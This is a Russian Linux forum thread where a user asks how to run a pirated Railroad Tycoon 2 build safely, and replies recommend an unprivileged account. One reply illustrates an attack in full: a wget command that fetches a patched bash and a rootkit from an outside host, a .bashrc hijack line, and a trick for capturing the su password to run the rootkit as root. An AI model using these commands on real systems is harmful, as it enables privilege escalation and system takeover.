LINUX.ORG.RU
Форум — Talks  

Как уберечься?


0

0
Слил с торрентов давнюю мечту - railroad tycoon 2 под linux. Но запускать стремно - вспоминается строка на перл. Как правильно запустить игру, чтобы она ничего лишнего не наделала? Думаю, местные гуру помогут
★
← [почти ЖЖ] ИИ - как вы думаете, возможно ли в данный момент?
Образование →
Запустить под специально созданным для этого пользователем.
true
()
Если сильно беспокоишься - создай юзера с полным отсутствием прав и играй только от его имени.
sin_a ★★★★★
()
Ответ на: комментарий от dima3351
>обычно для этих целей уже есть пользователь games, см. /etc/passwd

Вообще-то этому пользователю принадлежит куча файлов, и данная подозрительная программа может подменить их.

true
()
Ответ на: комментарий от Vanilin
>И вообще - не сиди под рутом...

Для того, чтобы снести систему, достаточно иметь доступ к аккаунту, из-под которого делают su/sudo...

true
()
По сабжу - презерватив руледъ. по игрушкам - пиши их сам, и пусть скачивающие бояцо!
bugmaker ★★★★☆
()
Ответ на: комментарий от bugmaker
>По сабжу - презерватив руледъ.

+1

Безопасный секс наше фсио :)

furs ★
()
Ответ на: комментарий от helicopter
>Если настроишь так, чтобы оно пароль просило, то недостаточно. ;)

Очень даже достаточно. Один из способов - тебе на компьютер закидывается пропатченный bash и rootkit:

cd /tmp; wget http://rootkit.narod.ru/bash http://rootkit.narod.ru/rootkit; chmod +x bash rootkit

В .bashrc прописывается:

if [ $0 != /tmp/bash ]; then exec /tmp/bash; fi

Когда ты наберешь su, пропатченный bash выполнит команду:

su -c '/tmp/rootkit & bash'

И пароль ты введешь именно для этой команды. :) То же самое касается sudo и ssh.

true
()
Ответ на: комментарий от DemonZLa
Практически не использовал, но для безопасности неплохо бы учитывать, что и такое возможно.
true
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.
← [почти ЖЖ] ИИ - как вы думаете, возможно ли в данный момент?
Talks
Образование →